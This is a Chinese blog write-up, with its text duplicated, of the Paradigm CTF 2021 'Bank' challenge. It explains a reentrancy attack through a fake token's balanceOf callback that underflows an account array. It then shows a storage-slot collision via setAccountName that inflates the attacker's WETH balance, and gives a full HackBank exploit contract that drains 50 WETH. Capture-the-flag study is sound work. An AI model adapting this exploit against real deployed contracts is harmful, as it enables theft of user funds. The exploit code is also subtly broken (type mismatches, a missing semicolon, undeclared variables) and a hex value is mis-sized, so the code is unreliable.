Paradigm CTF-银行
该题是大神Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun大神。
# Paradigm CTF-银行 基于STEVE的博客,可以参考https://smarx.com/posts/2021/02/writeup-of-paradigm-ctf-bank/ ## 题目: ![image20210626153642083.png](https://img.learnblockchain.cn/attachments/2021/06/BddYhCKs60d7d7939e679.png) 该题是Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun。这道题目内容很简单,他给你了一个Bank合约,让你将合约中的50个WETH全部拿走即可。 > 目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错,可以加我的微信:woodward1993 ## 题目分析: 这个题目不是逆向题,他给了你源代码。(:boxing_glove::boxing_glove::boxing_glove: Thanks GOD) 简单看,源代码里面提供了一个Bank合约,你可以在该合约中存Token,取Token,设置账户等。 | 函数签名 | 备注 | | :---------------------------------------------------------: | ------------------------------------------------------------ | | `depositToken(uint accountId, address token, uint amount)` | //如果需要,请为用户打开一个新帐户//检查用户是否有足够的余额,不会发生溢出//如有必要,递增唯一令牌的计数器//更新余额//将代币转入 | | `withdrawToken(uint accountId, address token, uint amount)` | //检查用户是否可以实际提取他们想要的金额,我们有足够的余额//更新余额//如果用户清空了余额,则减少唯一令牌的数量//如果用户要从上一个帐户中提取所有内容,请关闭它//我们无法关闭阵列中间的帐户,因为我们无法克隆余额映射,这样用户将失去所有余额//转出代币 | | `setAccountName(uint accountId, string name)` | //设置帐户的显示名称 | | `closeLastAccount()` | //确保用户有帐户//确保最后一个帐户为空//关闭帐户 | | `getAccountInfo(uint accountId)` | //获取有关帐户的信息 | | `getAccountBalance(uint accountId, address token)` | //获取TOKEN的余额 | | `transferOwnership(address newOwner)` | //将所有权转移到新地址 | | `acceptOwnership()` | //接受所有权转让 | 该合约另一个奇怪的点是他的数据结构: 给定了一个`map`,`map`里面是以`address`为`key`,以`Accounts`动态数组作为值。`Accounts`动态数组里存放的是结构体`Account`,该结构体包含一个`string`, 一个`uint,`和一个`map`。这个`accounts` 的含义是一个地址对应的是多个账户,每个账户有自己的账户名,该账户所拥有的`Token`的种类数量,以及每种`Token`的对应的余额。 ```js struct Account { string accountName; uint uniqueTokens; mapping(address => uint) balances; } mapping(address => Account[]) accounts; ``` ## 题目解析: ### 特点: 拿到题目时,先整体分析下这个合约。最明显的两个特点是: - `deposit, withdraw`等函数都没有防止重进入的措施 - 没有`nonReentry`修饰符 - 存在数组越界情况 - `accounts[msg.sender].length--;` 如果此时的`accounts[msg.sender].length == 0`,则会使得`accounts[msg.sender].length`下溢出 - `account.uniqueTokens--;` - `account.balances[token] -= amount;` ### 思路: 那此时最直接的思路是利用重进入,使得数组下越界,然后利用越界的数组,在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后在调用`withdraw`函数取出合约中所有的WETH到我的账户上。:+1: #### 重进入: 既然说到重进入,就需要理解什么是重进入,它是怎么个原理。简单来说就是合约A的方法A在调用合约B的方法B时,在方法B的内部又再次调用了合于A的方法A。此时A会再次执行,称为重进入。 ```mermaid sequenceDiagram ContractA->>funcA: 合约A调用方法A funcA ->> ContractB_funcB: 方法A调用合约B中的方法B opt 重进入 ContractB_funcB ->> funcA: 重进入 funcA ->> ContractB_funcB: 方法A调用合约B中的方法B end alt 结束调用 ContractB_funcB ->> ContractB_funcC: 合约B的方法B调用合约B的方法C end ``` 注意重进入与顺序执行的区别。重进入可以理解为发生递归。 ```js function inSequence() { contractA.funcA() contractB.funcB() contractA.funcA() contractB.funcB() } ``` 这并不是重进入,他只是顺序执行。重进入的一个核心概念是要在函数A的内部调用函数B,然后函数B在内部调用回函数A。而对于顺序执行,即使顺序执行的逻辑被包含在一个函数中,每一步都互相独立,不存在一个递归逻辑。 #### 重进入的目标: 我们需要明确我们的目标是什么,否则思路会不清晰。从上面的分析可以看到,我们重进入的目标是让数组下溢出。即: `accounts[msg.sender].length == uint(-1)` 要达成这个目标,我们需要`withdrawToken`函数在执行如下代码段的时候,满足如下三个条件: 1. `accounts[msg.sender].length==0` 2. `account.uniqueTokens == 1` 3. `account.balances[token] == 0` ```js func_withdrawToken: if (account.balances[token] == 0) { account.uniqueTokens--; if (account.uniqueTokens == 0 && accountId == lastAccount) { accounts[msg.sender].length--; } } ``` 分析`withdarwToken`函数发现,唯有如下两个函数涉及到外部合约的调用: `ERC20Like(token).balanceOf(msg.sender)` `ERC20Like(token).transferFrom(msg.sender, address(this), amount)` 如果我们在`ERC20Like(token).balanceOf(msg.sender)`中调用`closeLastAccount()`函数,则可以使得条件1,3都能满足。然而,问题的关键在于条件2. 如果我们这样调用,由于`withdrawToken`中要求`account.uniqueTokens == 1`, 而 `closeLastAccount`中要求 `accounts[msg.sender][lastAccount].uniqueTokens == 0`.此刻两个要求相冲突,必然会导致revert. ```js function closeLastAccount() external { // make sure the user has an account require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts"); // make sure the last account is empty uint lastAccount = accounts[msg.sender].length - 1; require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty"); // close the account accounts[msg.sender].length--; } ``` 此时,我们需要梳理关键的三个函数的要求以及可以发生重进入的位点,及在该位点前发生的状态改变: | 函数名 | 重进入位点 | 要求 | 状态改变 | | ------------------ | ------------- | --------------------------------------------- | -------------------------------------------------- | | `withdrawToken` | `balanceOf_1` | len > 0balance >= amount | | | | `balanceOf_2` | balance == 0uniqueTokens == 1len==0 | uniqueTokens--len--(accountId == lastAccount) | | `closeLastAccount` | NA | len > 0uniqueTokens == 0 | len-- | | `depositToken` | `balanceOf_1` | len >= 0amount >= 0 | len++(accountId == len) | | | `balanceOf_2` | oldBalance==0 | uniqueTokens++ | 再来考虑我们的目标: `accounts[msg.sender].length == uint(-1)` 要实现该目标,我们的目标状态为:`uniqueTokens = 0, len = uint(-1)` | 函数名 | 重进入位点 | 需要的状态 | | ------------------ | ------------- | ------------------ | | `withdrawToken` | `balanceOf_2` | uT = 1len = 0 | | `depositToken` | `balanceOf_2` | uT = 0len = 0 | | `closeLastAccount` | NA | uT = 0len = 1 | | `depositToken` | `balanceOf_1` | uT = 0len = 0 | | `closeLastAccount` | NA | uT = 0len = 1 | | `withdrawToken` | `balanceOf_1` | uT = 0len = 1 | 整理成调用栈结构为: ```js withdrawToken => balanceOf_1 => closeLastAccount depositToken balanceOf_1 => closeLastAccount balanceOf_2 balanceOf_2 ``` 现在的问题是我们想要在最开始调用`withdarwToken`函数时,让其uniqueTokens=0且len=1, 可以利用len++和len--的条件不一致来实现。即让`withdrawToken`中的`accountId != lastAccount`,则该len--就不会执行,从而可以得到uniqueTokens=0且len=1。 | `depositToken(0,token,0)` | [1] | | -------------------------- | ----- | | `depositToken(1,token,0)` | [1,1] | | `withdrawToken(0,token,0)` | [0,1] | | `withdrawToken(1,token,0)` | [0] | ```js pragma solidity >=0.4.22; import './Bank.sol'; contract HackBank is ERC20like { uint reentry; address bank; constructor(address _bank) { bank = _bank; } function transfer(address dst, uint qty) public returns (bool){ return true; } function transferFrom(address src, address dst, uint qty) public returns (bool){ return true; } function approve(address, uint) public returns (bool){ return true; } function balanceOf(address who) public returns (uint){ // withdrawToken 1 [0, 1] // closeAcc [0, 0] // depositToken 1 [0, 1] // closeAcc [0, 0] // depositToken 2 [1, 0] // withdrawToken 2 [0, -1] if (reentry == 1) { reentry = 0; Bank(bank).closeLastAccount(); reentry = 2; Bank(bank).depositToken(0, address(this), 0); } else if (reentry == 2) { Bank(bank).closeLastAccount(); reentry = 0; } return 0; } function hack_underflow() public { // make it [0] Bank(bank).depositToken(0,address(this),0); //[1] Bank(bank).depositToken(1, address(this), 0); //[1, 1] Bank(bank).withdrawToken(0, address(this), 0); // [0, 1] Bank(bank).withdrawToken(1, address(this), 0); // [0] reentry = 1; Bank(bank).withdrawToken(0, address(this), 0); } function withdraw_WETH() public { bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02)); bytes memory acc_key = keccak256(base_key); uint accountId; uint delta; for (accountId = 0; true ; accountId += 1) { bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2)) delta = uint(-1) - uint(acc_key) + uint(target) + 1; if (delta % 3 == 0) { break; } } accountId = delta / 3; value = string(abi.encodePacked(bytes31(uint248(uint(-1))))); Bank(bank).setAccountName(accountId, value); Bank(bank).withdrawToken(accountId, WETH, 50 ether); } function exploit() public { hack_underflow(); withdraw_WETH(); } } ``` #### 利用下溢出的数组写值 通过重进入,我们成功的将`accounts[msg.sender].length == uint(-1)`,根据思路,我们可以利用`setAccountName(uint accountId, string name)`函数往里写值,让我们账户里WETH的值无穷大,从而爆破该合约。 首先我们看下函数:`setAccountName(uint accountId, string name)` ```js function setAccountName(uint accountId, string name) external { require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account"); accounts[msg.sender][accountId].accountName = name; } ``` 简单来讲就是把一个字符串写入到`accounts[msg.sender][accountId].accountName`中。我们的目标是`accounts[msg.sender][accountId].balances[WETH]==uint(-1)`,则这里我们需要找到一个accountId, 使得如下等式成立: ```js key(accounts[msg.sender][accountId].accountName) == key(accounts[msg.sender][accountId].balances[WETH]) 等式左侧: key(accounts[msg.sender][accountId].accountName) = { base_key = keccak(abi.encodePacked(msg.sender, 0x02)); acc_key = keccak(base_key) + 3 * accountId accountName_key = acc_key + 0x00 } 等式右侧: key(accounts[msg.sender][accountId].balances[WETH]) = { base_key2 = keccak(abi.encodePacked(msg.sender, 0x02)); acc_key2 = keccak(base_key2) + 3 * accountId balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02)) } 则: keccak(base_key) + 3 * accountId = keccak(abi.encodePacked(address(WETH),keccak(base_key) + 3 * accountId + 0x02)) => accountId * 3 = WETH_BALANCE_KEY - BASE_KEY //此处为了避免出现负值,加个uint(-1) + 1 => accountId * 3 = uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1 要求该accountId的值必须正好是整除3,不能有余数,即 if ((uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1) % 3 == 0) { break; } accountId++; ``` 找到对应的accountId后,需要给其赋值,使得`accounts[msg.sender][accountId].balances[WETH]=uint(-1)`,那么这个值应该怎么给呢? ##### 这就涉及到`string`数据如何存储在storage中: 字节和字符串的编码相同。对于短字节数组,它们将数据存储在存储长度的同一插槽中。特别是:如果数据长度最多为31字节,则存储在高阶字节**(左对齐)**中,低阶字节存储`len*2`。对于存储长度为32或更多字节的数据的字节数组,主插槽存储`len*2+1`,数据通常存储在keccak256(slot)中。这意味着可以通过检查是否设置了最低位来区分短数组和长数组:短数组(最低为为0)和长数组(最低位为1)。 比如如下的函数: ```js function test(uint accountId) public { accounts[msg.sender].length++; Account storage account = accounts[msg.sender][accountId]; account.accountName = "Tester"; account.uniqueTokens = 1; account.balances[address(this)] = uint(-1); } ``` `Tester`会首先编码成`546573746572`(`Tester.encode().hex()=546573746572`),其长度为0x06,长度的2倍为`0x0c` 则在内存中其存储的值为:`0x546573746572000000000000000000000000000000000000000000000000000c` 在本题目中,我们希望储存的值为:`0xffffffffffffffffffffffffffffffffffffffffffffffffffff`共31位,则实际写入内存的值为:`0xffffffffffffffffffffffffffffffffffffffffffffffffffff3e`, 则我们可以利用如下的python代码得到decode后的字符串 也可以存储一个足够大的值,只要大于50 ether就行。比如`5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a`,则对应储存的值为`0x5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a3e` ```python string = "5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a" byte_array = bytearray.fromhex(string) byte_array.decode() => 'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ' ``` 整理一下: ```js function withdraw_WETH() public { bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02)); bytes memory acc_key = keccak256(base_key); uint accountId; uint delta; for (accountId = 0; true ; accountId += 1) { bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2)) delta = uint(-1) - uint(acc_key) + uint(target) + 1; if (delta % 3 == 0) { break; } } accountId = delta / 3; //value = string(abi.encodePacked(bytes31(uint248(uint(-1))))); string memory value = "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ"; Bank(bank).setAccountName(accountId, value); Bank(bank).withdrawToken(accountId, WETH, 50 ether); } function exploit() public { hack_underflow(); withdraw_WETH(); } ```
Paradigm CTF-银行
基于STEVE的博客,可以参考https://smarx.com/posts/2021/02/writeup-of-paradigm-ctf-bank/
题目:
该题是Samczsun在2021年2月份出的题目中的一道,非常的有意思。做这道题的时候让我回忆起了当初在高中做奥林匹克竞赛题的感觉,一环扣一环。非常感谢Samczsun。这道题目内容很简单,他给你了一个Bank合约,让你将合约中的50个WETH全部拿走即可。
目前作者正在找智能合约相关的工作,希望能跟行业内人士多聊聊 :fish: 。如果你觉得我写的还不错,可以加我的微信:woodward1993
题目分析:
这个题目不是逆向题,他给了你源代码。(:boxing_glove::boxing_glove::boxing_glove: Thanks GOD)
简单看,源代码里面提供了一个Bank合约,你可以在该合约中存Token,取Token,设置账户等。
函数签名 | 备注 |
---|---|
depositToken(uint accountId, address token, uint amount) |
//如果需要,请为用户打开一个新帐户//检查用户是否有足够的余额,不会发生溢出//如有必要,递增唯一令牌的计数器//更新余额//将代币转入 |
withdrawToken(uint accountId, address token, uint amount) |
//检查用户是否可以实际提取他们想要的金额,我们有足够的余额//更新余额//如果用户清空了余额,则减少唯一令牌的数量//如果用户要从上一个帐户中提取所有内容,请关闭它//我们无法关闭阵列中间的帐户,因为我们无法克隆余额映射,这样用户将失去所有余额//转出代币 |
setAccountName(uint accountId, string name) |
//设置帐户的显示名称 |
closeLastAccount() |
//确保用户有帐户//确保最后一个帐户为空//关闭帐户 |
getAccountInfo(uint accountId) |
//获取有关帐户的信息 |
getAccountBalance(uint accountId, address token) |
//获取TOKEN的余额 |
transferOwnership(address newOwner) |
//将所有权转移到新地址 |
acceptOwnership() |
//接受所有权转让 |
该合约另一个奇怪的点是他的数据结构:
给定了一个map
,map
里面是以address
为key
,以Accounts
动态数组作为值。Accounts
动态数组里存放的是结构体Account
,该结构体包含一个string
, 一个uint,
和一个map
。这个accounts
的含义是一个地址对应的是多个账户,每个账户有自己的账户名,该账户所拥有的Token
的种类数量,以及每种Token
的对应的余额。
struct Account {
string accountName;
uint uniqueTokens;
mapping(address => uint) balances;
}
mapping(address => Account[]) accounts;
题目解析:
特点:
拿到题目时,先整体分析下这个合约。最明显的两个特点是:
deposit, withdraw
等函数都没有防止重进入的措施- 没有
nonReentry
修饰符
- 没有
- 存在数组越界情况
accounts[msg.sender].length--;
如果此时的accounts[msg.sender].length == 0
,则会使得accounts[msg.sender].length
下溢出account.uniqueTokens--;
account.balances[token] -= amount;
思路:
那此时最直接的思路是利用重进入,使得数组下越界,然后利用越界的数组,在Storage写入我感兴趣的值,比如我的账户的WETH的余额等,然后在调用withdraw
函数取出合约中所有的WETH到我的账户上。:+1:
重进入:
既然说到重进入,就需要理解什么是重进入,它是怎么个原理。简单来说就是合约A的方法A在调用合约B的方法B时,在方法B的内部又再次调用了合于A的方法A。此时A会再次执行,称为重进入。
sequenceDiagram
ContractA->>funcA: 合约A调用方法A
funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
opt 重进入
ContractB_funcB ->> funcA: 重进入
funcA ->> ContractB_funcB: 方法A调用合约B中的方法B
end
alt 结束调用
ContractB_funcB ->> ContractB_funcC: 合约B的方法B调用合约B的方法C
end
注意重进入与顺序执行的区别。重进入可以理解为发生递归。
function inSequence() {
contractA.funcA()
contractB.funcB()
contractA.funcA()
contractB.funcB()
}
这并不是重进入,他只是顺序执行。重进入的一个核心概念是要在函数A的内部调用函数B,然后函数B在内部调用回函数A。而对于顺序执行,即使顺序执行的逻辑被包含在一个函数中,每一步都互相独立,不存在一个递归逻辑。
重进入的目标:
我们需要明确我们的目标是什么,否则思路会不清晰。从上面的分析可以看到,我们重进入的目标是让数组下溢出。即:
accounts[msg.sender].length == uint(-1)
要达成这个目标,我们需要withdrawToken
函数在执行如下代码段的时候,满足如下三个条件:
accounts[msg.sender].length==0
account.uniqueTokens == 1
account.balances[token] == 0
func_withdrawToken:
if (account.balances[token] == 0) {
account.uniqueTokens--;
if (account.uniqueTokens == 0 && accountId == lastAccount) {
accounts[msg.sender].length--;
}
}
分析withdarwToken
函数发现,唯有如下两个函数涉及到外部合约的调用:
ERC20Like(token).balanceOf(msg.sender)
ERC20Like(token).transferFrom(msg.sender, address(this), amount)
如果我们在ERC20Like(token).balanceOf(msg.sender)
中调用closeLastAccount()
函数,则可以使得条件1,3都能满足。然而,问题的关键在于条件2. 如果我们这样调用,由于withdrawToken
中要求account.uniqueTokens == 1
, 而 closeLastAccount
中要求 accounts[msg.sender][lastAccount].uniqueTokens == 0
.此刻两个要求相冲突,必然会导致revert.
function closeLastAccount() external {
// make sure the user has an account
require(accounts[msg.sender].length > 0, "closeLastAccount/no-accounts");
// make sure the last account is empty
uint lastAccount = accounts[msg.sender].length - 1;
require(accounts[msg.sender][lastAccount].uniqueTokens == 0, "closeLastAccount/non-empty");
// close the account
accounts[msg.sender].length--;
}
此时,我们需要梳理关键的三个函数的要求以及可以发生重进入的位点,及在该位点前发生的状态改变:
函数名 | 重进入位点 | 要求 | 状态改变 |
---|---|---|---|
withdrawToken |
balanceOf_1 |
len > 0balance >= amount | |
balanceOf_2 |
balance == 0uniqueTokens == 1len==0 | uniqueTokens--len--(accountId == lastAccount) | |
closeLastAccount |
NA | len > 0uniqueTokens == 0 | len-- |
depositToken |
balanceOf_1 |
len >= 0amount >= 0 | len++(accountId == len) |
balanceOf_2 |
oldBalance==0 | uniqueTokens++ |
再来考虑我们的目标:
accounts[msg.sender].length == uint(-1)
要实现该目标,我们的目标状态为:uniqueTokens = 0, len = uint(-1)
函数名 | 重进入位点 | 需要的状态 |
---|---|---|
withdrawToken |
balanceOf_2 |
uT = 1len = 0 |
depositToken |
balanceOf_2 |
uT = 0len = 0 |
closeLastAccount |
NA | uT = 0len = 1 |
depositToken |
balanceOf_1 |
uT = 0len = 0 |
closeLastAccount |
NA | uT = 0len = 1 |
withdrawToken |
balanceOf_1 |
uT = 0len = 1 |
整理成调用栈结构为:
withdrawToken =>
balanceOf_1 =>
closeLastAccount
depositToken
balanceOf_1 =>
closeLastAccount
balanceOf_2
balanceOf_2
现在的问题是我们想要在最开始调用withdarwToken
函数时,让其uniqueTokens=0且len=1, 可以利用len++和len--的条件不一致来实现。即让withdrawToken
中的accountId != lastAccount
,则该len--就不会执行,从而可以得到uniqueTokens=0且len=1。
depositToken(0,token,0) |
[1] |
---|---|
depositToken(1,token,0) |
[1,1] |
withdrawToken(0,token,0) |
[0,1] |
withdrawToken(1,token,0) |
[0] |
pragma solidity >=0.4.22;
import './Bank.sol';
contract HackBank is ERC20like {
uint reentry;
address bank;
constructor(address _bank) {
bank = _bank;
}
function transfer(address dst, uint qty) public returns (bool){
return true;
}
function transferFrom(address src, address dst, uint qty) public returns (bool){
return true;
}
function approve(address, uint) public returns (bool){
return true;
}
function balanceOf(address who) public returns (uint){
// withdrawToken 1 [0, 1]
// closeAcc [0, 0]
// depositToken 1 [0, 1]
// closeAcc [0, 0]
// depositToken 2 [1, 0]
// withdrawToken 2 [0, -1]
if (reentry == 1) {
reentry = 0;
Bank(bank).closeLastAccount();
reentry = 2;
Bank(bank).depositToken(0, address(this), 0);
} else if (reentry == 2) {
Bank(bank).closeLastAccount();
reentry = 0;
}
return 0;
}
function hack_underflow() public {
// make it [0]
Bank(bank).depositToken(0,address(this),0); //[1]
Bank(bank).depositToken(1, address(this), 0); //[1, 1]
Bank(bank).withdrawToken(0, address(this), 0); // [0, 1]
Bank(bank).withdrawToken(1, address(this), 0); // [0]
reentry = 1;
Bank(bank).withdrawToken(0, address(this), 0);
}
function withdraw_WETH() public {
bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
bytes memory acc_key = keccak256(base_key);
uint accountId;
uint delta;
for (accountId = 0; true ; accountId += 1) {
bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
delta = uint(-1) - uint(acc_key) + uint(target) + 1;
if (delta % 3 == 0) {
break;
}
}
accountId = delta / 3;
value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
Bank(bank).setAccountName(accountId, value);
Bank(bank).withdrawToken(accountId, WETH, 50 ether);
}
function exploit() public {
hack_underflow();
withdraw_WETH();
}
}
利用下溢出的数组写值
通过重进入,我们成功的将accounts[msg.sender].length == uint(-1)
,根据思路,我们可以利用setAccountName(uint accountId, string name)
函数往里写值,让我们账户里WETH的值无穷大,从而爆破该合约。
首先我们看下函数:setAccountName(uint accountId, string name)
function setAccountName(uint accountId, string name) external {
require(accountId < accounts[msg.sender].length, "setAccountName/invalid-account");
accounts[msg.sender][accountId].accountName = name;
}
简单来讲就是把一个字符串写入到accounts[msg.sender][accountId].accountName
中。我们的目标是accounts[msg.sender][accountId].balances[WETH]==uint(-1)
,则这里我们需要找到一个accountId, 使得如下等式成立:
key(accounts[msg.sender][accountId].accountName) == key(accounts[msg.sender][accountId].balances[WETH])
等式左侧:
key(accounts[msg.sender][accountId].accountName) =
{
base_key = keccak(abi.encodePacked(msg.sender, 0x02));
acc_key = keccak(base_key) + 3 * accountId
accountName_key = acc_key + 0x00
}
等式右侧:
key(accounts[msg.sender][accountId].balances[WETH]) =
{
base_key2 = keccak(abi.encodePacked(msg.sender, 0x02));
acc_key2 = keccak(base_key2) + 3 * accountId
balances[WETH]_key = keccak(abi.encodePacked(address(WETH), acc_key2+0x02))
}
则:
keccak(base_key) + 3 * accountId = keccak(abi.encodePacked(address(WETH),keccak(base_key) + 3 * accountId + 0x02))
=>
accountId * 3 = WETH_BALANCE_KEY - BASE_KEY
//此处为了避免出现负值,加个uint(-1) + 1
=>
accountId * 3 = uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1
要求该accountId的值必须正好是整除3,不能有余数,即
if ((uint(-1) - BASE_KEY + WETH_BALANCE_KEY + 1) % 3 == 0) {
break;
}
accountId++;
找到对应的accountId后,需要给其赋值,使得accounts[msg.sender][accountId].balances[WETH]=uint(-1)
,那么这个值应该怎么给呢?
这就涉及到string
数据如何存储在storage中:
字节和字符串的编码相同。对于短字节数组,它们将数据存储在存储长度的同一插槽中。特别是:如果数据长度最多为31字节,则存储在高阶字节(左对齐)中,低阶字节存储len*2
。对于存储长度为32或更多字节的数据的字节数组,主插槽存储len*2+1
,数据通常存储在keccak256(slot)中。这意味着可以通过检查是否设置了最低位来区分短数组和长数组:短数组(最低为为0)和长数组(最低位为1)。
比如如下的函数:
function test(uint accountId) public {
accounts[msg.sender].length++;
Account storage account = accounts[msg.sender][accountId];
account.accountName = "Tester";
account.uniqueTokens = 1;
account.balances[address(this)] = uint(-1);
}
Tester
会首先编码成546573746572
(Tester.encode().hex()=546573746572
),其长度为0x06,长度的2倍为0x0c
则在内存中其存储的值为:0x546573746572000000000000000000000000000000000000000000000000000c
在本题目中,我们希望储存的值为:0xffffffffffffffffffffffffffffffffffffffffffffffffffff
共31位,则实际写入内存的值为:0xffffffffffffffffffffffffffffffffffffffffffffffffffff3e
, 则我们可以利用如下的python代码得到decode后的字符串
也可以存储一个足够大的值,只要大于50 ether就行。比如5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a
,则对应储存的值为0x5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a3e
string = "5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a5a"
byte_array = bytearray.fromhex(string)
byte_array.decode()
=>
'ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ'
整理一下:
function withdraw_WETH() public {
bytes memory base_key = keccak256(abi.encodePacked(address(this), 0x02));
bytes memory acc_key = keccak256(base_key);
uint accountId;
uint delta;
for (accountId = 0; true ; accountId += 1) {
bytes memory target = keccak256(abi.encodePacked(address(WETH), uint(acc_key) + 3*accountId + 2))
delta = uint(-1) - uint(acc_key) + uint(target) + 1;
if (delta % 3 == 0) {
break;
}
}
accountId = delta / 3;
//value = string(abi.encodePacked(bytes31(uint248(uint(-1)))));
string memory value = "ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ";
Bank(bank).setAccountName(accountId, value);
Bank(bank).withdrawToken(accountId, WETH, 50 ether);
}
function exploit() public {
hack_underflow();
withdraw_WETH();
}
区块链技术网。
- 发表于 2021-06-26 20:48
- 阅读 ( 604 )
- 学分 ( 53 )
- 分类:智能合约
评论